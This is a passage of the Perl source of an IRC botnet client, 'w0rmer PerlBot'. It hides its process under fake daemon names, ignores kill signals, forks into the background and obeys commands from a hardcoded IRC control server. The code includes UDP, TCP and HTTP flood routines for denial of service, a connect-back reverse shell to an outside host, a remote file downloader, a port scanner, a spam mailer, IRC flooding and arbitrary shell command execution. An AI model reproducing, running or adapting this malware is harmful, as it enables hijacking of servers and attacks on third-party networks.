## !u @join <#channel> ## !u @udp1 <ip> <port> <time> ## !u @cback <ip> <port> ## | |
## !u @part <#channel> ## !u @udp2 <ip> <packet size> <time> ## !u @downlod <url+path> <file> ## | |
## !u !uejoin <#channel> ## !u @udp3 <ip> <port> <time> ## !u @portscan <ip> ## | |
## !u !op <channel> <nick> ## !u @tcp <ip> <port> <packet size> <time> ## !u @mail <subject> <sender> ## | |
## !u !deop <channel> <nick> ## !u @http <site> <time> ## <recipient> <message> ## | |
## !u !voice <channel> <nick> ## ## !u pwd;uname -a;id <for example> ## | |
## !u !devoice <channel> <nick> ## !u @ctcpflood <nick> ## !u @port <ip> <port> ## | |
## !u !nick <newnick> ## !u @msgflood <nick> ## !u @dns <ip/host> ## | |
## !u !msg <nick> ## !u @noticeflood <nick> ## ## | |
## !u !quit ## ## ## | |
## !u !uaw ## ## ## | |
## !u @die ## ## ## | |
## ## ## ## | |
###################################################################################################################### | |
###################################################################################################################### | |
############################# | |
##### [ Configuration ] ##### | |
############################# | |
my @rps = ("/usr/local/apache/bin/httpd -DSSL", | |
"/usr/sbin/httpd -k start -DSSL", | |
"/usr/sbin/httpd", | |
"/usr/sbin/sshd -i", | |
"/usr/sbin/sshd", | |
"/usr/sbin/sshd -D", | |
"/usr/sbin/apache2 -k start", | |
"/sbin/syslogd", | |
"/sbin/klogd -c 1 -x -x", | |
"/usr/sbin/acpid", | |
"/usr/sbin/cron"); | |
my $process = $rps[rand scalar @rps]; | |
my @rversion = ("AS ®"); | |
my $vers = $rversion[rand scalar @rversion]; | |
my @rircname = ("AS-SHELL"); | |
my $ircname = $rircname[rand scalar @rircname]; | |
chop (my $realname = $rircname[rand scalar @rircname]); | |
my $nick =$rircname[rand scalar @rircname]; | |
$server = 'prox.realunix.cc' unless $server; | |
my $port = '3636'; | |
my $linas_max='8'; | |
my $sleep='5'; | |
my $homedir = "/tmp"; | |
my $version = 'irc bot by James ®'; | |
my @admins = ("AS"); | |
my @hostauth = ("netadmin.RealUnix.CC"); | |
my @channels = ("#hide"); | |
my $pacotes = 1; | |
################################################################# | |
##### [ Stop Editing if you dont know what are you doing. ] ##### | |
################################################################# | |
$SIG{'INT'} = 'IGNORE'; | |
$SIG{'HUP'} = 'IGNORE'; | |
$SIG{'TERM'} = 'IGNORE'; | |
$SIG{'CHLD'} = 'IGNORE'; | |
$SIG{'PS'} = 'IGNORE'; | |
use Socket; | |
use IO::Socket; | |
use IO::Socket::INET; | |
use IO::Select; | |
chdir("$homedir"); | |
$server="$ARGV[0]" if $ARGV[0]; | |
$0="$process"."\0"x16;; | |
my $pid=fork; | |
exit if $pid; | |
die "Can't fork in background: $!" unless defined($pid); | |
our %irc_servers; | |
our %DCC; | |
my $dcc_sel = new IO::Select->new(); | |
$sel_cliente = IO::Select->new(); | |
sub sendraw { | |
if ($#_ == '1') { | |
my $socket = $_[0]; | |
print $socket "$_[1]\n"; | |
} else { | |
print $IRC_cur_socket "$_[0]\n"; | |
} | |
} | |
sub getstore ($$) | |
{ | |
my $url = shift; | |
my $file = shift; | |
$http_stream_out = 1; | |
open(GET_OUTFILE, "> $file"); | |
%http_loop_check = (); | |
_get($url); | |
close GET_OUTFILE; | |
return $main::http_get_result; | |
} | |
sub _get | |
{ | |
my $url = shift; | |
my $proxy = ""; | |
grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV; | |
if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) { | |
my $host = $1; | |
my $port = $2 || 80; | |
my $path = $3; | |
$path = "/" unless defined($path); | |
return _trivial_http_get($host, $port, $path); | |
} elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) { | |
my $host = $1; | |
my $port = $2; | |
my $path = $url; | |
return _trivial_http_get($host, $port, $path); | |
} else { | |
return undef; | |
} | |
} | |
sub _trivial_http_get | |
{ | |
my($host, $port, $path) = @_; | |
my($AGENT, $VERSION, $p); | |
$AGENT = "get-minimal"; | |
$VERSION = "20000118"; | |
$path =~ s/ /%20/g; | |
require IO::Socket; | |
local($^W) = 0; | |
my $sock = IO::Socket::INET->new(PeerAddr => $host, | |
PeerPort => $port, | |
Proto => 'tcp', | |
Timeout => 60) || return; | |
$sock->autoflush; | |
my $netloc = $host; | |
$netloc .= ":$port" if $port != 80; | |
my $request = "GET $path HTTP/1.0\015\012" | |
. "Host: $netloc\015\012" | |
. "User-Agent: $AGENT/$VERSION/u\015\012"; | |
$request .= "Pragma: no-cache\015\012" if ($main::http_no_cache); | |
$request .= "\015\012"; | |
print $sock $request; | |
my $buf = ""; | |
my $n; | |
my $b1 = ""; | |
while ($n = sysread($sock, $buf, 8*1024, length($buf))) { | |
if ($b1 eq "") { | |
$b1 = $buf; | |
$buf =~ s/.+?\015?\012\015?\012//s; | |
} | |
if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; } | |
} | |
return undef unless defined($n); | |
$main::http_get_result = 200; | |
if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) { | |
$main::http_get_result = $1; | |
if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/) { | |
my $url = $1; | |
return undef if $http_loop_check{$url}++; | |
return _get($url); | |
} | |
return undef unless $main::http_get_result =~ /^2/; | |
} | |
return $buf; | |
} | |
sub conectar { | |
my $meunick = $_[0]; | |
my $server_con = $_[1]; | |
my $port_con = $_[2]; | |
my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$server_con", | |
PeerPort=>$port_con) or return(1); | |
if (defined($IRC_socket)) { | |
$IRC_cur_socket = $IRC_socket; | |
$IRC_socket->autoflush(1); | |
$sel_cliente->add($IRC_socket); | |
$irc_servers{$IRC_cur_socket}{'host'} = "$server_con"; | |
$irc_servers{$IRC_cur_socket}{'port'} = "$port_con"; | |
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick; | |
$irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost; | |
nick("$meunick"); | |
sendraw("USER $ircname ".$IRC_socket->sockhost." $server_con :$realname"); | |
sleep 1; | |
} | |
} | |
my $line_temp; | |
while( 1 ) { | |
while (!(keys(%irc_servers))) { conectar("$nick", "$server", "$port"); } | |
delete($irc_servers{''}) if (defined($irc_servers{''})); | |
my @ready = $sel_cliente->can_read(0); | |
next unless(@ready); | |
foreach $fh (@ready) { | |
$IRC_cur_socket = $fh; | |
$meunick = $irc_servers{$IRC_cur_socket}{'nick'}; | |
$nread = sysread($fh, $msg, 4096); | |
if ($nread == 0) { | |
$sel_cliente->remove($fh); | |
$fh->close; | |
delete($irc_servers{$fh}); | |
} | |
@lines = split (/\n/, $msg); | |
for(my $c=0; $c<= $#lines; $c++) { | |
$line = $lines[$c]; | |
$line=$line_temp.$line if ($line_temp); | |
$line_temp=''; | |
$line =~ s/\r$//; | |
unless ($c == $#lines) { | |
parse("$line"); | |
} else { | |
if ($#lines == 0) { | |
parse("$line"); | |
} elsif ($lines[$c] =~ /\r$/) { | |
parse("$line"); | |
} elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) { | |
parse("$line"); | |
} else { | |
$line_temp = $line; | |
} | |
} | |
} | |
} | |
} | |
sub parse { | |
my $servarg = shift; | |
if ($servarg =~ /^PING \:(.*)/) { | |
sendraw("PONG :$1"); | |
} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) { | |
my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5; | |
if ($args =~ /^\001VERSION\001$/) { | |
notice("$pn", "".$vers.""); | |
} | |
if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) { | |
if (grep {$_ =~ /^\Q$pn\E$/i } @admins ) { | |
if ($onde eq "$meunick"){ | |
shell("$pn", "$args"); | |
} | |
if ($args =~ /^(\Q$meunick\E|\!u)\s+(.*)/ ) { | |
my $natrix = $1; | |
my $arg = $2; | |
if ($arg =~ /^\!(.*)/) { | |
ircase("$pn","$onde","$1"); | |
} elsif ($arg =~ /^\@(.*)/) { | |
$ondep = $onde; | |
$ondep = $pn if $onde eq $meunick; | |
bfunc("$ondep","$1"); | |
} else { | |
shell("$onde", "$arg"); | |
} | |
} | |
} | |
} | |
} | |
elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) { | |
if (lc($1) eq lc($meunick)) { | |
$meunick=$4; | |
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick; | |
} | |
} elsif ($servarg =~ m/^\:(.+?)\s+433/i) { | |
nick("$meunick-".int rand(9999)); | |
} elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) { | |
$meunick = $2; | |
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick; | |
$irc_servers{$IRC_cur_socket}{'nome'} = "$1"; | |
foreach my $canal (@channels) { | |
sendraw("MODE $nick +iw"); | |
sendraw("JOIN $canal"); | |
sendraw("PRIVMSG $canal :=> perl irc bot by James has forked successfully!"); | |
} | |
} | |
} | |
sub bfunc { | |
my $printl = $_[0]; | |
my $funcarg = $_[1]; | |
if (my $pid = fork) { | |
waitpid($pid, 0); | |
} else { | |
if (fork) { | |
exit; | |
} else { | |
########################### | |
##### [ Help Module ] ##### | |
########################### | |
if ($funcarg =~ /^help/) { | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1======================= "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1w0rmer PerlBot Main Help: "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1======================= "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1system "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1version "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1channel "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1flood "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1utils "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1======================= "); | |
} | |
if ($funcarg =~ /^system/) { | |
$uptime=`uptime`; | |
$ownd=`pwd`; | |
$id=`id`; | |
$uname=`uname -srp`; | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1=================== "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1Bot Configuration: "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1=================== "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Server : 12$server "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Port : 12$port "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Channels : 12@channels "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*uname -a : 12$uname "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*uptime : 12$uptime "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*FakeProcess : 12$process "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*ProcessPID : 12$$ "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*ID : 12$id "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Own Dir : 12$ownd "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1=================== "); | |
} | |
if ($funcarg =~ /^version/){ | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1================================== "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1Bot Informations: "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1================================== "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1*Bot Version : 12$version "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1*Bot Creator 0rmer "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1*Bot Year : 122012 "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1================================== "); | |
} | |
if ($funcarg =~ /^flood/) { | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1========================================= "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1w0rmer PerlBot Flood Help: "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1========================================= "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1udp1 <ip> <port> <time> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1udp2 <ip> <packet size> <time> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1udp3 <ip> <port> <time> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1tcp <ip> <port> <packet size> <time> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1http <site> <time> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1ctcpflood <nick> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1msgflood <nick> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1noticeflood <nick> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1========================================= "); | |
} | |
if ($funcarg =~ /^channel/) { | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1============================= "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1w0rmer PerlBot Channel Help: "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1============================= "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1join <channel> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1part <channel> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1rejoin <channel> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1op <channel> <nick> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1deop <channel> <nick> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1voice <channel> <nick> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1devoice <channel> <nick> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1nick <newnick> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1msg <nick> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1quit "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1die "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1============================= "); | |
} | |
if ($funcarg =~ /^utils/) { | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1================================================== "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1w0rmer PerlBot Utils Help: "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1================================================== "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1cback <ip> <port> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1download <url+path> <file> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1mail <subject> <sender> <recipient> <message> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1dns <ip> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1port <ip> <port> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1portscan <ip> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u pwd (for example) "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1================================================== "); | |
} | |
######################### | |
##### [ Functions ] ##### | |
######################### | |
if ($funcarg =~ /^die/) { | |
sendraw($IRC_cur_socket, "QUIT :"); | |
$killd = "kill -9 ".fork; | |
system (`$killd`); | |
} | |
########### | |
if ($funcarg =~ /^join (.*)/) { | |
sendraw($IRC_cur_socket, "JOIN ".$1); | |
} | |
if ($funcarg =~ /^part (.*)/) { | |
sendraw($IRC_cur_socket, "PART ".$1); | |
} | |
########### | |
if ($funcarg =~ /^portscan (.*)/) { | |
my $hostip="$1"; | |
my @portas=("1","7","9","14","20","21","22","23","25","53","80","88","110","112","113","137","143","145","222","333","405","443","444","445","512","587","616","666","993","995","1024","1025","1080","1144","1156","1222","1230","1337","1348","1628","1641","1720","1723","1763","1983","1984","1985","1987","1988","1990","1994","2005","2020","2121","2200","2222","2223","2345","2360","2500","2727","3130","3128","3137","3129","3303","3306","3333","3389","4000","4001","4471","4877","5252","5522","5553","5554","5642","5777","5800","5801","5900","5901","6062","6550","6522","6600","6622","6662","6665","6666","6667","6969","7000","7979","8008","8080","8081","8082","8181","8246","8443","8520","8787","8855","8880","8989","9855","9865","9997","9999","10000","10001","10010","10222","11170","11306","11444","12241","12312","14534","14568","15951","17272","19635","19906","19900","20000","21412","21443","21205","22022","30999","31336","31337","32768","33180","35651","36666","37998","41114","41215","44544","45055","45555","45678","51114","51247","51234","55066","55555","65114","65156","65120","65410","65500","65501","65523","65533"); | |
my (@aberta, %porta_banner); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PortScan] 9,1Scanning for open ports on 12".$1." 9,1started. "); | |
foreach my $porta (@portas) { | |
my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4); | |
if ($scansock) { | |
push (@aberta, $porta); | |
$scansock->close; | |
} | |
} | |
if (@aberta) { | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PortScan] 9,1Open ports found: 12@aberta "); | |
} else { | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PortScan] 9,1No open ports found. "); | |
} | |
} | |
############## | |
if ($funcarg =~ /^download\s+(.*)\s+(.*)/) { | |
getstore("$1", "$2"); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Download] 9,1Downloaded the file: 12$2 9,1from 12$1 "); | |
} | |
############## | |
if ($funcarg =~ /^dns\s+(.*)/){ | |
my $nsku = $1; | |
$mydns = inet_ntoa(inet_aton($nsku)); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [DNS] 9,1Resolved: 12$nsku 9,1to 12$mydns "); | |
} | |
############## | |
if ($funcarg=~ /^port\s+(.*?)\s+(.*)/ ) { | |
my $hostip= "$1"; | |
my $portsc= "$2"; | |
my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $portsc, Proto =>'tcp', Timeout => 7); | |
if ($scansock) { | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PORT] 9,1Connection to 12$hostip9,1:12$portsc 9,1is 12Accepted. "); | |
} | |
else { | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PORT] 9,1Connection to 12$hostip9,1:12$portsc 9,1is 4Refused. "); | |
} | |
} | |
############## | |
if ($funcarg =~ /^udp1\s+(.*)\s+(\d+)\s+(\d+)/) { | |
return unless $pacotes; | |
socket(Tr0x, PF_INET, SOCK_DGRAM, 17); | |
my $alvo=inet_aton("$1"); | |
my $porta = "$2"; | |
my $dtime = "$3"; | |
my $pacote; | |
my $pacotese; | |
my $size = 0; | |
my $fim = time + $dtime; | |
my $pacota = 1; | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-1 w0rmer] 9,1Attacking 12".$1." 9,1On Port 12".$porta." 9,1for 12".$dtime." 9,1seconds. "); | |
while (($pacota == "1") && ($pacotes == "1")) { | |
$pacota = 0 if ((time >= $fim) && ($dtime != "0")); | |
$pacote = $size ? $size : int(rand(1024-64)+64) ; | |
$porta = int(rand 65000) +1 if ($porta == "0"); | |
#send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)); | |
send(Tr0x, pack("a$pacote","Tr0x"), 0, pack_sockaddr_in($porta, $alvo)); | |
} | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-1 w0rmer] 9,1Attack for 12".$1." 9,1finished in 12".$dtime." 9,1seconds9,1. "); | |
} | |
############## | |
if ($funcarg =~ /^udp2\s+(.*)\s+(\d+)\s+(\d+)/) { | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-2 w0rmer] 9,1Attacking 12".$1." 9,1with 12".$2." 9,1Kb Packets for 12".$3." 9,1seconds. "); | |
my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3"); | |
$dtime = 1 if $dtime == 0; | |
my %bytes; | |
$bytes{igmp} = $2 * $pacotes{igmp}; | |
$bytes{icmp} = $2 * $pacotes{icmp}; | |
$bytes{o} = $2 * $pacotes{o}; | |
$bytes{udp} = $2 * $pacotes{udp}; | |
$bytes{tcp} = $2 * $pacotes{tcp}; | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-2 w0rmer] 9,1Results 12".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 9,1Kb in 12".$dtime." 9,1seconds to 12".$1."9,1. "); | |
} | |
############## | |
if ($funcarg =~ /^udp3\s+(.*)\s+(\d+)\s+(\d+)/) { | |
return unless $pacotes; | |
socket(Tr0x, PF_INET, SOCK_DGRAM, 17); | |
my $alvo=inet_aton("$1"); | |
my $porta = "$2"; | |
my $dtime = "$3"; | |
my $pacote; | |
my $pacotese; | |
my $fim = time + $dtime; | |
my $pacota = 1; | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-3 w0rmer] 9,1Attacking 12".$1." 9,1On Port 12".$porta." 9,1for 12".$dtime." 9,1seconds. "); | |
while (($pacota == "1") && ($pacotes == "1")) { | |
$pacota = 0 if ((time >= $fim) && ($dtime != "0")); | |
$pacote= $rand x $rand x $rand; | |
$porta = int(rand 65000) +1 if ($porta == "0"); | |
send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1"); | |
} | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-3 w0rmer] 9,1Results 12".$pacotese." 9,1Kb in 12".$dtime." 9,1seconds to 12".$1."9,1. "); | |
} | |
############## | |
############## | |
if ($funcarg =~ /^tcp\s+(.*)\s+(\d+)\s+(\d+)/) { | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [TCP w0rmer] 9,1Attacking 12".$1.":".$2." 9,1for 12".$3." 9,1seconds. "); | |
my $itime = time; | |
my ($cur_time); | |
$cur_time = time - $itime; | |
while ($3>$cur_time){ | |
$cur_time = time - $itime; | |
&tcpflooder("$1","$2","$3"); | |
} | |
sendraw($IRC_cur_socket,"PRIVMSG $printl :4,1 [TCP w0rmer] 9,1Attack ended on: 12".$1.":".$2."9,1. "); | |
} | |
############## | |
if ($funcarg =~ /^http\s+(.*)\s+(\d+)/) { | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[HTTP w0rmer] 9,1Attacking 12".$1." 9,1on port 80 for 12".$2." 9,1seconds. "); | |
my $itime = time; | |
my ($cur_time); | |
$cur_time = time - $itime; | |
while ($2>$cur_time){ | |
$cur_time = time - $itime; | |
my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80); | |
print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n"; | |
close($socket); | |
} | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [HTTP w0rmer] 9,1Attacking ended on: 12".$1."9,1. "); | |
} | |
############## | |
if ($funcarg =~ /^cback\s+(.*)\s+(\d+)/) { | |
my $host = "$1"; | |
my $port = "$2"; | |
my $proto = getprotobyname('tcp'); | |
my $iaddr = inet_aton($host); | |
my $paddr = sockaddr_in($port, $iaddr); | |
my $shell = "/bin/sh -i"; | |
if ($^O eq "MSWin32") { | |
$shell = "cmd.exe"; | |
} | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [ConnectBack] 9,1Connecting to 12$host:$port "); | |
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!"; | |
connect(SOCKET, $paddr) or die "connect: $!"; | |
open(STDIN, ">&SOCKET"); | |
open(STDOUT, ">&SOCKET"); | |
open(STDERR, ">&SOCKET"); | |
system("$shell"); | |
close(STDIN); | |
close(STDOUT); | |
close(STDERR); | |
} | |
############## | |
if ($funcarg =~ /^mail\s+(.*)\s+(.*)\s+(.*)\s+(.*)/) { | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Mailer] 9,1Sending email to: 12$3 "); | |
$subject = $1; | |
$sender = $2; | |
$recipient = $3; | |
@corpo = $4; | |
$mailtype = "content-type: text/html"; | |
$sendmail = '/usr/sbin/sendmail'; | |
open (SENDMAIL, "| $sendmail -t"); | |
print SENDMAIL "$mailtype\n"; | |
print SENDMAIL "Subject: $subject\n"; | |
print SENDMAIL "From: $sender\n"; | |
print SENDMAIL "To: $recipient\n\n"; | |
print SENDMAIL "@corpo\n\n"; | |
close (SENDMAIL); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Mailer] 9,1Email Sended to: 12$recipient "); | |
} | |
exit; | |
} | |
} | |
############## | |
if ($funcarg =~ /^ctcpflood (.*)/) { | |
my $target = "$1"; | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [IRCFlood] 9,1CTCP Flooding: 12".$target." "); | |
for (1..10) { | |
sendraw($IRC_cur_socket, "PRIVMSG ".$target." :\001VERSION\001\n"); | |
sendraw($IRC_cur_socket, "PRIVMSG ".$target." :\001PING\001\n"); | |
} | |
} | |
############## | |
if ($funcarg =~ /^msgflood (.*)/) { | |
my $target = "$1"; | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [IRCFlood] 9,1MSG Flooding: 12".$target." "); | |
sendraw($IRC_cur_socket, "PRIVMSG ".$target." :0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8..."); | |
} | |
############## | |
if ($funcarg =~ /^noticeflood (.*)/) { | |
my $target = "$1"; | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [IRCFlood] 9,1NOTICE Flooding: 12".$target." "); | |
for (1..2){ | |
sendraw($IRC_cur_socket, "NOTICE ".$target." :0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8..."); | |
} | |
} | |
############## | |
############## | |
sub ircase { | |
my ($kem, $printl, $case) = @_; | |
if ($case =~ /^join (.*)/) { | |
j("$1"); | |
} | |
elsif ($case =~ /^part (.*)/) { | |
p("$1"); | |
} | |
elsif ($case =~ /^rejoin\s+(.*)/) { | |
my $chan = $1; | |
if ($chan =~ /^(\d+) (.*)/) { | |
for (my $ca = 1; $ca <= $1; $ca++ ) { | |
p("$2"); | |
j("$2"); | |
} | |
} else { | |
p("$chan"); | |
j("$chan"); | |
} | |
} | |
elsif ($case =~ /^op/) { | |
op("$printl", "$kem") if $case eq "op"; | |
my $oarg = substr($case, 3); | |
op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); | |
} | |
elsif ($case =~ /^deop/) { | |
deop("$printl", "$kem") if $case eq "deop"; | |
my $oarg = substr($case, 5); | |
deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); | |
} | |
elsif ($case =~ /^voice/) { | |
voice("$printl", "$kem") if $case eq "voice"; | |
$oarg = substr($case, 6); | |
voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); | |
} | |
elsif ($case =~ /^devoice/) { | |
devoice("$printl", "$kem") if $case eq "devoice"; | |
$oarg = substr($case, 8); | |
devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); | |
} | |
elsif ($case =~ /^msg\s+(\S+) (.*)/) { | |
msg("$1", "$2"); | |
} | |
elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) { | |
for (my $cf = 1; $cf <= $1; $cf++) { | |
msg("$2", "$3"); | |
